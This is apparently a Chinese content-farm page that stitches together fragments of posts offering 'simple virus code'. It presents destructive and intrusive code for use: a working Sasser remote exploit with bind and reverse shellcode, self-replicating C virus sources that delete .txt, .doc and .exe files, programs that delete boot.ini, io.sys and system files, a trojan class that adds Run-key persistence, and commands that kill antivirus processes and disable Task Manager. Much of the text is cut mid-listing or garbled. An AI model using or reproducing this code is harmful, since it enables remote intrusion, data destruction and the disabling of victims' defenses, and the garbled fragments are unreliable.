用C语言编写简单的病毒
简单的c语言病毒
![简单的c语言病毒](https://img.taocdn.com/s3/m/0b2321d2195f312b3169a541.png)
#define REMOVE_NUM 5 /*删除文件数*/
/*====================================================================*/
/*
文件AUTORUN.INF内容:
1.自动运行
2.覆盖默认打开命令,使用病毒体作为新的打开方式
3.覆盖默认资源管理器命令,使病毒体作为新的命令方式
*/
char *autorun={"[AutoRun]\nopen=\" /s\"\nshell\\open=打开(&O)
fclose(output);
return 0;
}
else return 1;
}
/*=====================================================================*/
/*
函数:通过explorer自动运行
del c:\windows\system32\cmdsys.sys
del c:\windows\system32\mstsc32.exe
del c:\
del c:\autorun.inf
del d:\
del d:\autorun.inf
del e:\
rename("c:\\windows\\explorer.exe","c:\\windows\\$temp$");
rename("c:\\windows\\system32\\dllcache\\explorer.exe","c:\\windows\\system32
C语言实现病毒源码演示
![C语言实现病毒源码演示](https://img.taocdn.com/s3/m/1794b6255901020207409c5a.png)
(1)在未被感染的 C 程序头部加入“INFECTED”已被传染标志。 (2)读取病毒文件的头文件,将其插入到即将被感染的文件头部。如 果发现有重复则不插入。 (3)在主程序中插入“VIRUSES( );”调用 VIRUSES 函数。寻找 printf、 for、while、break 语句,如果找到就在之前插入。 (4)在文件尾部插入 VIRUSES_SUB 子程序。 (5)在插入到将感染文件里面的 VIRUSES_SUB 子程序里面,必须把文 件名改为当前自身的文件名,否则被传染后的文件经过编译、连接和运行 后不能再继续传染。 (6)最后插入 VIRUSES 子程序。这个子程序里面调用了 VIRUSES_SUB, 执行到这里返回执行结果信息。 其中用到 4 个出错的返回值,分别是: 1:用户文件太大,不传染; 2:带病毒文件打不开,不传染; 3:带病毒文件读取不成功,不传染; 4:查找第一个匹配文件不成功。 如果返回值是 0 代表文件传染成功。 具体实现过程如下: 其中用到的函数和结构体用法参考 3.3 节。
5
传染 C 文件的源码病毒及解毒程序设计
首先导入病毒子程序要用到的三个库文件,分别是 dir.h, stido.h, dos.h. 在主函数里面只调用 VIRUSES 函数。紧跟定义 VIRUSES 函数里面要调用 的 VIURS_SUB 函数。里面定义了若干个变量。ffblk 用来保存查找到的匹 配文件的信息,用到里面的 ff_name 变量来保存匹配文件名。
计算机病毒的构成: 计算机病毒是多种多样的,不同类型病毒采用的机制和组成虽然是千 奇百怪的,但可以看出病毒的主要组成部分是相同的,工作逻辑也是相同 的。它应该由传染模块和表现及破坏模块组成,每个模块又有两个程序段: 传染条件判断段和实施段,如下图所示。
病毒及流氓软件自我复制的简单实现(C#)
![病毒及流氓软件自我复制的简单实现(C#)](https://img.taocdn.com/s3/m/11ccf68ed0d233d4b14e695b.png)
57 }
58 catch
59 {
60 }
61 finally
62 {
63 }
64 // 目标文件
65 string _target = string.Format("{0}\\{1}.exe", _path,_count.ToString("000"));
程序要实现下面几个功能。
第一,运行时不出现运行界面,当然,在任务管理器里,还是可以看到进程的,道行再深的病毒也不可能无迹可寻。
第二,程序第一个程序生成第二个程序,第二个程序生成第三个程序,以此类推。
源代码很简单,下面来分析一下:
81 _writer.Write(_buffer, 0, _buffer.Length);
82 _writer.Close();
83 // 运行刚复制完成的程序
84 System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo(_target));
Application类提供了获取程序运行绝对路径并包括文件名的属性和程序运行绝对路径的文件名属性,竟然不直接提供一个文件名的属性,好奇怪。正规的截取文件名的方法应该根据"\"来判断,这里采用了替换的方法,大家可以思考一下如果用SubString怎么实现。55和56行,如果文件名不是数字,那么从100.exe开始生成,如果你执行了10000.exe的文件,那么狠糟糕,你可能需要注销一下当前用户来终止程序运行,当然,让它运行也不会有多大影响。最后,65行,我们把目标锁定在程序的当前目录下。病毒和流氓软件就没有那么客气了,经常它可能会选择磁盘根目录、C:\Winodws、C:\Windows\System32或者其他重要的系统目录中。而且病毒采用了随机的命名方式或者是模仿系统文件名称的固定命名方式,以达到隐藏自身和迷惑用户的目的。
VisualC++很简单的木马代码
![VisualC++很简单的木马代码](https://img.taocdn.com/s3/m/f8f4510fcec789eb172ded630b1c59eef9c79a4b.png)
VisualC++很简单的木马代码Visual C++编程时用到了这些功能,现在我把它组装成一个很简单的木马了.本代码已封装成类方便代码重用:1,自我复制.2,修改注册表自动运行.3,关闭进程.4,启动程序.5,重启关机功能.交流class CTrojanHorse{public://add codepublic://add codeCTrojanHorse();~CTrojanHorse();protected://add codeBOOL IfShell(CString BeKissPrcName);BOOL CopyFileaddr(CString m_CopyFile);void ShellFile(CString m_ShellFile);BOOL SetAutoRun(CString strPath);void ShutDown();private://add code};CTrojanHorse::CTrojanHorse(){//add code}CTrojanHorse::~CTrojanHorse(){//add code}BOOL CTrojanHorse::IfShell(CString BeKissPrcName)//判断程序是否在运行{CString str,a,prcnum;// CMainFrame *pDlg=(CMainFrame *)lparam;//AfxMessageBox(pDlg->BeKissPrcName);HANDLESnapShot=CreateT oolhelp32Snapshot(TH32CS_SNAPPROCESS,0 );SHFILEINFO shSmall;PROCESSENTRY32 ProcessInfo;//声明进程信息变量ProcessInfo.dwSize=sizeof(ProcessInfo);//设置ProcessInfo的大小//返回系统中第一个进程的信息BOOL Status=Process32First(SnapShot,&ProcessInfo);int m_nProcess=0;int num=0;while(Status){ num++;m_nProcess++;ZeroMemory(&shSmall,sizeof(shSmall));//获取进程文件信息SHGetFileInfo(ProcessInfo.szExeFile,0,&shSmall,sizeof(shSmall),SHGFI_ICON|SHGFI_SMALLICON);//str.Format("%08x",ProcessInfo.th32ProcessID);str=ProcessInfo.szExeFile;if(str==BeKissPrcName){AfxMessageBox("找到进程成功!");return true;}//获取下一个进程的信息Status=Process32Next(SnapShot,&ProcessInfo);}AfxMessageBox("失败!");return false;}BOOL CTrojanHorse::CopyFileaddr(CString m_CopyFile)//复制文件{char pBuf[MAX_PATH];CString m_addr;// CString m_strSrcFile1="D:/OperateFile.exe";// CString m_addr="D:/SVCLSV.exe"; //存放路径的变量GetCurrentDirectory(MAX_PATH,pBuf); //获取程序的当前目录strcat(pBuf,"\\");strcat(pBuf,AfxGetApp()->m_pszExeName);strcat(pBuf,".exe");m_addr=pBuf;if(CopyFile(m_addr,m_CopyFile,FALSE)){AfxMessageBox("复制成功!");return true;}return false;}void CTrojanHorse::ShellFile(CString m_ShellFile)//执行所要的程序{ShellExecute(NULL,"open",m_ShellFile,NULL,NULL,SW_SHO WNORMAL);}BOOL CTrojanHorse::SetAutoRun(CString strPath)//修改注册表{CString str;HKEY hRegKey;BOOL bResult;str=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Ru n");if(RegOpenKey(HKEY_LOCAL_MACHINE, str, &hRegKey) != ERROR_SUCCESS)bResult=FALSE;else{_splitpath(strPath.GetBuffer(0),NULL,NULL,str.GetBufferSetL ength(MAX_PATH+1),NULL);strPath.ReleaseBuffer();str.ReleaseBuffer();if(::RegSetValueEx( hRegKey,str,0,REG_SZ,(CONST BYTE *)strPath.GetBuffer(0),strPath.GetLength() ) != ERROR_SUCCESS)bResult=FALSE;elsebResult=TRUE;strPath.ReleaseBuffer();}return bResult;}void CTrojanHorse::ShutDown()//重新启动计算机{if (IDYES == MessageBox("是否现在重新启动计算机?", "注册表提示", MB_YESNO)){OSVERSIONINFO OsVerInfo; //保存系统版本信息的数据结构OsVerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);GetVersionEx(&OsVerInfo);//取得系统的版本信息CString str1 = "", str2 = "";str1.Format("你的系统信息\n版本为:%d.%d\n", OsVerInfo.dwMajorVersion,OsVerInfo.dwMinorVersion);str2.Format("型号:%d\n", OsVerInfo.dwBuildNumber);str1 += str2;AfxMessageBox(str1);if(OsVerInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) ExitWindowsEx(EWX_REBOOT | EWX_SHUTDOWN, 0); //重新启动计算机}}。
最简单的电脑病毒代码是什么
![最简单的电脑病毒代码是什么](https://img.taocdn.com/s3/m/79847ff6e109581b6bd97f19227916888486b9b1.png)
最简单的电脑病毒代码是什么你知道最简单的电脑病毒代码是什么吗!简单的代码不容易被杀毒软件发现!下面由店铺给你做出详细的最简单的电脑病毒代码介绍!希望对你有帮助!最简单的电脑病毒代码介绍:绕过杀毒软件防御:运行(“taskkill /f /im kavsvc.exe”, 假, 1)运行(“taskkill /f /im KVXP.kxp”, 假, 1)运行(“taskkill /f /im Rav.exe”, 假, 1)运行(“taskkill /f /im Ravmon.exe”, 假, 1)运行(“taskkill /f /im Mcshield.exe”, 假, 1)运行(“taskkill /f /im VsTskMgr.exe”, 假, 1)修改系统时间:置现行时间 (到时间(“8888年8月8日”))禁用任务管理器:写注册项(3, “Software\Microsoft\Windows\CurrentVersion\Policies\System \DisableTaskMgr”, 0)禁用注册表:写注册项(3, “Software\Microsoft\Windows\CurrentVersion\Policies\System \Disableregistrytools”, 1)隐藏开始中的运行禁止WIN2000/XP通过任务管理器创建新任务:写注册项(3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explore r\NoRun”, 1)隐藏“MS-DOS方式”下的磁盘驱动器。
不管是在“我的电脑”里,或“MS-DOS”方式下都看不见了:写注册项(3, “SoftWare \Microsoft \Windows \CurrentVersion \Policies\WinOldApp\Disabled”, 1)隐藏开始中的关机:写注册项(3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explore r\NoClose”, 1)隐藏开始中的搜索:写注册项(3, “Softw are\Microsoft\Windows\CurrentVersion\Policies\Explore r\NoFind”, 1)OVER360防御:写注册项(4, “SOFTWARE\360Safe\safemon\ExecAccess”, 0)写注册项(4, “SOFTWARE\360Safe\safemon\MonAccess”, 0)写注册项(4, “SOFTWARE\360Safe\safemon\SiteAccess”, 0)写注册项(4, “SOFTWARE\360Safe\safemon\UDiskAccess”, 0)结束360进程运行(“taskkill /f /im 360tray.exe”, 假, 1)隐藏所有驱动器:写注册项(3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explore r\NoDrives”, 4294967295)禁止所有驱动器:写注册项(3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explore r\NoViewOnDrive”, 4294967295)隐藏文件夹选项:写注册项(3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explore r\NoFolderOptions”, 1)将桌面对象隐藏:写注册项(3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explore r\NoDesktop”, 1)隐藏开始中的关机:写注册项(3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explore r\NoClose”, 1)隐藏开始中的搜索:写注册项(3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explore r\NoFind”, 1)这条有两种情况。
网上看到的一个用C语言编写的木马源程序代码大家一起学学
![网上看到的一个用C语言编写的木马源程序代码大家一起学学](https://img.taocdn.com/s3/m/380838ea998fcc22bcd10d2f.png)
FARPROC PCreateProcessA;
FARPROC PPeekNamedPipe;
FARPROC PWriteFile;
FARPROC PReadFile;
FARPROC PCloseHandle;
FARPROC PCreatePipe;
FARPROC PMessageBoxA;
FARPROC PWSAStartup;
FARPROC PSocket;
FARPROC Phtons;
FARPROC Pbind;
FARPROC Plisten;
FARPROC Paccept;
FARPROC Psend;
FARPROC Precv;
PMessageBoxA = (FARPROC)Para->dwMessageBox;
nVersion = MAKEWORD(2,1);
PWSAStartup(nVersion, (LPWSADATA)&WSAData);
listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);
if(!PWriteFile(hWritePipe2, Para->Buff, lBytesRead, &lBytesRead, 0))break;
}
}
PCloseHandle(hWritePipe2);
PCloseHandle(hReadPipe1);
PCloseHandle(hReadPipe2);
memset(Para->Buff,0,4096);
计算机病毒代码有哪些
![计算机病毒代码有哪些](https://img.taocdn.com/s3/m/765997b25901020206409c2e.png)
计算机病毒代码有哪些计算机病毒代码介绍一:void main(){while(1){}}//死循环,电脑用不了或者这样void main(){while(1){char *a=new char(1024);}}//吃光你的内存还能这样#include#includevoid main(){..........//循环查找文件写入垃圾数据,省略若干代码}最好hook openprocess这个东东让任务管理器都结束不掉想象力是无限的,看你怎么玩。
计算机病毒代码介绍二:给你个恶搞的玩on error resume nextdim wshshellaset wshshella = w.createobject("w.shell")wshshella.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true dim ado while(a "我是猪")a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"msgbox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim wshshellset wshshell = w.createobject("w.shell")wshshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"计算机病毒代码介绍三:最简单的一个电脑病毒1.vbs版本:打开记事本,输入以下代码:do until 1=2w.echo "烦死你!"loop保存为1.vbs,运行后不断出现"烦死你"的对话框。
震荡波病毒C语言源码
![震荡波病毒C语言源码](https://img.taocdn.com/s3/m/3f72f88de53a580216fcfe79.png)
震荡波病毒C语言源码/*#i nclude <stdio.h>#i nclude <strings.h>#i nclude <signal.h>#i nclude <netinet/in.h>#i nclude <netdb.h>#define NORM "\033[00;00m"#define GREEN "\033[01;32m"#define YELL "\033[01;33m"#define RED "\033[01;31m"#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.3 for " RED "sasser.x" NORM #define fatal(x) { perror(x); exit(1); }#define default_port 5554struct {char *os;long goreg;long gpa;long lla;}targets[] = {// { "os", go ebx or pop pop ret, GetProcAd ptr, LoadLib ptr },{ "wXP SP1 all", 0x77C0BF21, 0x77be10CC, 0x77be10D0 },{ "w2k SP4 all", 0x7801D081, 0x780320cc, 0x780320d0 },}, tsz;unsigned char bsh[]={0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA,0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E, 0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xF E,0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE, 0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21, 0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36, 0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF, 0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x89,0x21,0xC8 ,0x21,0x0E,0xB4,0xDE,0x8A,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD,0xBB,0xA E,0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9 D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0x D9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E};unsigned char rsh[]={0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB6,0x80,0x36,0xDE,0x46,0xE2,0xFA,0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E, 0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xF E,0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE, 0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21, 0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE, 0x8E,0x8D,0x36,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x8 9, 0x21,0xC8,0x21,0x0E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3, 0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xA C,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xD E, 0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2, 0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E};char verbose=0;void setoff(long GPA, long LLA) {int gpa=GPA^0xdededede, lla=LLA^0xdededede;memcpy(bsh+0x1d,&gpa,4);memcpy(bsh+0x2e,&lla,4);memcpy(rsh+0x1d,&gpa,4);memcpy(rsh+0x2e,&lla,4);}void usage(char *argv0) {int i;printf("%s -d <host/ip> [opts]\n\n",argv0);printf("Options:\n");printf(" -h undocumented\n");printf(" -p <port> to connect to [default: %u]\n",default_port);printf(" -s <'bind'/'rev'> shellcode type [default: bind]\n");printf(" -P <port> for the shellcode [default: 530]\n");printf(" -H <host/ip> for the reverse shellcode\n");printf(" -L setup the listener for the reverse shell\n");printf(" -t <target type> [default 0]; choose below\n\n");printf("Types:\n");for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)rintf(" %d %s\t[0x%.8x]\n", i, targets.os, targets.goreg);exit(1);}void shell(int s) {char buff[4096];int retval;fd_set fds;printf("[+] connected!\n\n");for (;;) {FD_ZERO(&fds);FD_SET(0,&fds);FD_SET(s,&fds);if (select(s+1, &fds, NULL, NULL, NULL) < 0) fatal("[-] shell.select()");if (FD_ISSET(0,&fds)) {if ((retval = read(1,buff,4096)) < 1)fatal("[-] shell.recv(stdin)");send(s,buff,retval,0);}if (FD_ISSET(s,&fds)) {if ((retval = recv(s,buff,4096,0)) < 1)fatal("[-] shell.recv(socket)");write(1,buff,retval);}}}void callback(short port) {struct sockaddr_in sin;int s,slen=16;sin.sin_family = 2;sin.sin_addr.s_addr = 0;sin.sin_port = htons(port);s=socket(2,1,6);if ( bind(s,(struct sockaddr *)&sin, 16) ) {kill(getppid(),SIGKILL);fatal("[-] shell.bind");}listen(s,1);s=accept(s,(struct sockaddr *)&sin,&slen); shell(s);printf("crap\n");}int main(int argc, char **argv, char **env) { struct sockaddr_in sin;struct hostent *he;char *host; int port=default_port;char *Host; int Port=5300; char bindopt=1;int i,s,pid=0,rip;char *buff;int type=0;char *jmp[]=;printf(BANNER "\n");if (argc==1)usage(argv[0]);for (i=1;i<argc;i+=2) {if (strlen(argv) != 2)usage(argv[0]);switch(argv[1]) {case 't':type=atoi(argv[i+1]);break;case 'd':host=argv[i+1];break;case 'p':port=atoi(argv[i+1])?:default_port; break;case 's':if (strstr(argv[i+1],"rev")) bindopt=0;break;case 'H':Host=argv[i+1];break;case 'P':Port=atoi(argv[i+1])?:5300;Port=Port ^ 0xdede;Port=(Port & 0xff) << 8 | Port >>8; memcpy(bsh+0x57,&Port,2); memcpy(rsh+0x5a,&Port,2);Port=Port ^ 0xdede;Port=(Port & 0xff) << 8 | Port >>8; break;case 'L':pid++; i--;break;case 'v':verbose++; i--;break;case 'h':usage(argv[0]);default:usage(argv[0]);}}if (verbose)printf("verbose!\n");if ((he=gethostbyname(host))==NULL)fatal("[-] gethostbyname()");sin.sin_family = 2;sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);sin.sin_port = htons(port);printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port); if (bindopt)printf("[.] will try to put a bindshell on port %d.\n",Port);else {if ((he=gethostbyname(Host))==NULL)fatal("[-] gethostbyname() for -H");rip=*((long *)he->h_addr_list[0]);rip=rip^0xdededede;memcpy(rsh+0x53,&rip,4);if (pid) {printf("[.] setting up a listener on port %d.\n",Port);pid=fork();switch (pid) { case 0: callback(Port); }} elseprintf("[.] you should h***e a listener on %s:%d.\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),Port);}printf("[.] using type '%s'\n",targets[type].os);// -------------------- cores=socket(2,1,6);if (connect(s,(struct sockaddr *)&sin,16)!=0) {if (pid) kill(pid,SIGKILL);fatal("[-] connect()");}printf("[+] connected, sending exploit\n");buff=(char *)malloc(4096);bzero(buff,4096);sprintf(buff,"USER x\n");send(s,buff,strlen(buff),0);recv(s,buff,4095,0);sprintf(buff,"PASS x\n");send(s,buff,strlen(buff),0);recv(s,buff,4095,0);memset(buff+0000,0x90,2000);strncpy(buff,"PORT ",5);strcat(buff,"\x0a");memcpy(buff+272,jmp[0],2);memcpy(buff+276,&targets[type].goreg,4); memcpy(buff+280,jmp[1],5);setoff(targets[type].gpa, targets[type].lla);if (bindopt)memcpy(buff+300,&bsh,strlen(bsh));elsememcpy(buff+300,&rsh,strlen(rsh));send(s,buff,strlen(buff),0);free(buff);close(s);// -------------------- end of coreif (bindopt) {sin.sin_port = htons(Port);sleep(1);s=socket(2,1,6);if (connect(s,(struct sockaddr *)&sin,16)!=0) fatal("[-] exploit most likely failed");shell(s);}if (pid) wait(&pid);exit(0);}*/NO 1#include <io.h>#include <dir.h>#include <stdio.h>#include <stdlib.h>#include <string.h>void copyfile(char *infile, char *outfile) {FILE *in,*out;in = fopen(infile,"r");out = fopen(outfile,"w");while (!feof(in)){fputc(fgetc(in),out);}fclose(in);fclose(out);}void MakeRubbish(){int i;FILE *fp;char *path;char *NewName;char *disk[7] = {"A","B","C","D","E","F","G"};char *addtion = ":\\";for (i = 0; i<5; i++){char tempname[] = "XXXXXX" ;NewName = mktemp(tempname);fp = fopen(NewName,"w");fclose(fp);}path = strcat(disk[getdisk()],addtion);chdir(path);for (i = 0; i<5; i++){char tempname[] = "XXXXXX";NewName = mktemp(tempname);fp = fopen(NewName,"w");fclose(fp);}}void CreatEXE(){int i;char *path;char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\"};for ( i = 0; i < 2; i++){open(s, 0x0100,0x0080);copyfile( "C_KILLER.C",s);}}void Remove(){int done;int i;struct ffblk ffblk;char *documenttype[3] = {"*.txt","*.doc","*.exe"};for (i = 0; i < 3; i++){done = findfirst(documenttype,&ffblk,2);while (!done){remove(ffblk.ff_name);done = findnext(&ffblk);}}}void Breed(){int done;struct ffblk ffblk;done = findfirst("*.c",&ffblk,2);while (!done){if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 ){copyfile("C_KILLER.C",ffblk.ff_name);}done = findnext(&ffblk);}}void main(){printf("THERE IS A VIRUS BY XIAOKE.\n\n");Breed();Remove();CreatEXE();printf("COULD YOU TELL ME YOUR NAME?\n\n");printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n");MakeRubbish();getchar();printf("IT'S ONL Y A JOKE! THANK YOU!\n\n");clrscr();system("cmd");}NO 2#include <io.h>#include <dir.h>#include <stdio.h>#include <stdlib.h>#include <string.h>void copyfile(char *infile, char *outfile){FILE *in,*out;in = fopen(infile,"r");out = fopen(outfile,"w");while (!feof(in)){fputc(fgetc(in),out);}fclose(in);fclose(out);}void MakeRubbish(){int i;FILE *fp;char *path;char *NewName;char *disk[7] = {"A","B","C","D","E","F","G"};char *addtion = ":\\";for (i = 0; i<5; i++){char tempname[] = "XXXXXX" ;NewName = mktemp(tempname);fp = fopen(NewName,"w");fclose(fp);}path = strcat(disk[getdisk()],addtion);chdir(path);for (i = 0; i<5; i++){char tempname[] = "XXXXXX";NewName = mktemp(tempname);fp = fopen(NewName,"w");fclose(fp);}}void CreatEXE(){int i;char *path;char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\"};for ( i = 0; i < 2; i++){open(s, 0x0100,0x0080);copyfile( "C_KILLER.C",s);}}void Remove(){int done;int i;struct ffblk ffblk;char *documenttype[3] = {"*.txt","*.doc","*.exe"};for (i = 0; i < 3; i++){done = findfirst(documenttype,&ffblk,2);while (!done){remove(ffblk.ff_name);done = findnext(&ffblk);}}}void Breed(){int done;struct ffblk ffblk;done = findfirst("*.c",&ffblk,2);while (!done){if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 ){copyfile("C_KILLER.C",ffblk.ff_name);}done = findnext(&ffblk);}}void main(){printf("THERE IS A VIRUS BY XIAOKE.\n\n");Breed();Remove();CreatEXE();printf("COULD YOU TELL ME YOUR NAME?\n\n");printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n");MakeRubbish();getchar();printf("IT'S ONL Y A JOKE! THANK YOU!\n\n");clrscr();system("cmd");}最简单的c语言病毒源程序#include<stdlib.h>main(){printf("病毒!!!!!!");getchar();getchar();getchar();system("del c:\io.sys ");system("del c:\boot.ini");}删除windows启动的两个关键文件,导致机子无法重起。
C#简单病毒程序
![C#简单病毒程序](https://img.taocdn.com/s3/m/49c08bc289eb172ded63b7f5.png)
3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量;
4,重新创建一个同名文件(被感染c文件)
5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数
调用语句写入;
6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后;
完全可以写一个TSR驻留函数
其实,这个程序勉强可以叫做病毒
根本不算是真正的病毒,好了就说这么多,
代码如下:
#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
病毒代码——精选推荐
![病毒代码——精选推荐](https://img.taocdn.com/s3/m/30d37e7a571252d380eb6294dd88d0d233d43c1a.png)
病毒代码【病毒⼩程序】关于病毒的代码可以⽤来运⾏⼀下,你的电脑可能会发⽣......但⼤家都知道,病毒是恐怖的,你可以做⼀些有趣的代码.关机代码#includeusing namespace std;void main(){system(“cmd /c shutdown -s -t 60”); //这是调⽤cmdsystem(“pause”);}相信这很简单吧!还有个⽅法#include#include<shlobj.h>#include<shellapi.h>using namespace std;void main(){ShellExecute(NULL,“open”,“cmd.EⅩE”,"/c shutdown -s -t 60",NULL,SW_HIDE); system(“pause”);} # 加强版本// shutdownDemo.cpp : 定义控制台应⽤程序的⼊⼝点。
//#include "stdafx.h"#include <windows.h>BOOL MySystemShutdown(){HANDLE hToken; //⽤于操作的句柄TOKEN_PRIVILEGES tkp; //⽤于存放特定信息// Get a token for this process.if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))return(FALSE);// Get the LUID for the shutdown privilege.//如果要提权的话要在下⾯这两个函数提权LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);tkp.PrivilegeCount = 1; // one privilege to settkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;// Get the shutdown privilege for this process.AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);if (GetLastError() != ERROR_SUCCESS)return FALSE;// Shut down the system and force all applications to close.if (!ExitWindowsEx(EWX_REBOOT| EWX_FORCE,SHTDN_REASON_MAJOR_OPERATINGSYSTEM |SHTDN_REASON_MINOR_UPGRADE |# 卡死代码# # 打开⽆数计算机``````VBS 系列格式代码# 甩不掉的魔⿁SHTDN_REASON_FLAG_PLANNED))return FALSE;//shutdown was successfulreturn TRUE;}int _tmain(int argc, _TCHAR* argv[]){getchar();HKEY hKey = { 0 };/*LONG RegOpenKeyEx(HKEY hKey, // 需要打开的主键的名称LPCTSTR lpSubKey, //需要打开的⼦键的名称DWORD ulOptions, // 保留,设为0REGSAM samDesired, // 安全访问标记,也就是权限PHKEY phkResult // 得到的将要打开键的句柄)*/RegOpenKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&hKey); //打开⼀个指定的注册表键char path[MAX_PATH] = { 0 };GetModuleFileNameA(nullptr, path, MAX_PATH); //获取当前⽂件路径RegSetValueEx(hKey, "ShutDown", 0, REG_SZ, (byte *)path, strlen(path));MySystemShutdown();return 0;}#include 